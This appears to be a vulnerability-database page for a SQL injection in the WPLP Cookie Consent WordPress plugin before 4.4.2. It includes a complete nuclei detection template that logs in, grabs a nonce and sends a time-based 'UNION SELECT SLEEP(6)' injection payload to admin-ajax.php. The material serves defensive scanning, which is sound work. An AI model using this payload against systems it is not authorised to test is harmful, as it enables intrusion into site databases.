Browse / CVEs / CVE-2026-82186
CVE-2026-82186· wp-legal-pages / gdpr-cookie-consent· CWE-89
WordPress WPLP Cookie Consent < 4.4.2 - SQL Injection
mediumseverity
4.1CVSS score
0.7%likelihood of exploitation, next 30 days
53%of all CVEs are less likely
Readycheck to confirm it
The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=wplp-dashboard
Send: @timeout: 10s
Positive when: status_code == 200 and contains(content_type, "text/html") and duration >= 6Run it with nuclei: nuclei -id CVE-2026-82186 -u <target>
The full check
id: CVE-2026-82186
info:
name: WordPress WPLP Cookie Consent < 4.4.2 - SQL Injection
author: anirbala98
severity: medium
description: |
The WPLP Cookie Consent WordPress plugin before 4.4.2 does not properly validate a pagination parameter before using it in a SQL query, allowing users with administrator privileges to execute arbitrary SQL commands.
reference:
- https://wpscan.com/vulnerability/a0285ba3-0741-4382-a037-db0ac3fc49d2/
- https://nvd.nist.gov/vuln/detail/CVE-2026-82186
- https://wordpress.org/plugins/gdpr-cookie-consent/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
cvss-score: 4.1
cve-id: CVE-2026-82186
epss-score: 0.00687
epss-percentile: 0.53008
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
vendor: wp-legal-pages
product: gdpr-cookie-consent
framework: wordpress
fofa-query: body="/wp-content/plugins/gdpr-cookie-consent/"
tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,gdpr-cookie-consent,authenticated
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=wplp-dashboard HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
internal: true
group: 1
regex:
- '"wpl_cookie_scanner":"([a-f0-9]+)"'
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php?action=wpl_cookie_scanner HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpl_cookie_scanner&security={{nonce}}&wpl_scanner_action=get_pages&offset=0,1) AS T UNION SELECT SLEEP(6)#
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "text/html")
- duration >= 6
condition: andReferences
- https://wpscan.com/vulnerability/a0285ba3-0741-4382-a037-db0ac3fc49d2/
- https://nvd.nist.gov/vuln/detail/CVE-2026-82186
- https://wordpress.org/plugins/gdpr-cookie-consent/
Use this check only on systems you are authorised to test. Where the data comes from